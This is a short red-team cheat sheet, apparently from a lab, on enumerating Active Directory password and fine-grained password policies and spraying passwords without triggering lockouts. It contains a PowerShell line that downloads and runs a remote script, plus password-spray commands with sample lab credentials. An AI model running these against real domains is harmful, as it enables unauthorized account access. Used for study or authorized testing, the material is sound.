Resources

Cheat_sheet :

Commands

  • Enum
    • Linux
      nxc smb 192.168.56.0/24 --pass-pol
    • Windows
      net accounts /domain
       
      Get-ADDefaultDomainPasswordPolicy
       
      Get-DomainPolicyData | select -ExpandProperty SystemAccess
  • Attacks
    • FineGraned Passwords
      • Creation
        New-ADFineGrainedPasswordPolicy -Name "Group Test" -Precedence 10 -ComplexityEnabled $true -Description "This is for groups"-DisplayName "Group Test" -LockoutDuration "0.20:00:00" -LockoutObservationWindow "0.00:30:00" -LockoutThreshold 6 -MaxPasswordAge "12.00:00:00" -MinPasswordAge "1.00:00:00" -MinPasswordLength 8 -PasswordHistoryCount 12 -ReversibleEncryptionEnabled $false
         
        Add-ADFineGrainedPasswordPolicySubject "Group Test" -Subjects "Zeyad"
        Set-ADFineGrainedPasswordPolicy "Group Test" -PasswordHistoryCount:"12"
      • Enumeration
        Get-ADFineGrainedPasswordPolicy -Filter *
        Get-ADUserResultantPasswordPolicy -Identity Zeyad
        Get-ADUser "fmoheb" -Properties * | Select-Object msDS-PSOApplied
         
        Get-ADDefaultDomainPasswordPolicy
         
        IEX (New-Object Net.WebClient).DownloadString('http://192.168.99.27/Import-ActiveDirectory.ps1') ; Import-ActiveDirectory
         
        	# Script to read them 
        	ForEach ($fgpp in (Get-ADFineGrainedPasswordPolicy -Filter * -Properties Description)) {
            $appliesTo = $fgpp | select -ExpandProperty AppliesTo
            $objectClass = (Get-ADObject $appliesTo).ObjectClass
         
            Write-Host -ForegroundColor Yellow "`r`nFine Grained Password Policy: $fgpp.name"
            $fgpp | Out-Host
         
            If ($objectClass -eq "group") {
                Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
            }
            ElseIf ($objectClass -eq "user") {
                Get-ADUser $appliesTo | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
            }
        }
         
        python3 fgpp.py -u fmoheb -p Password123#f -d redteamrecipes.com -l 192.168.99.25
    • Bruteforce
       runas /user:zeyad cmd
       
       conpass -d redteamrecipes.com -u zeyad -p Password123#z --dc-ip 192.168.99.25 -P ../../../Trash/pass2.txt --timeout 50

Tools

Notes

Danger

When it’s critical not to cause a lockout on a user account with a FGPP applied, the safest approach would be to exclude users with msDS-PSOApplied or msDS-ResultantPSO properties populated (can be read by a regular user) from the spray list. Check if exists:

Get-ADUser fmoheb -Properties * | select msDS-PSOApplied
Get-ADUser fmoheb -Properties msDS-ResultantPSO | select msDS-ResultantPSO

Later 2 Read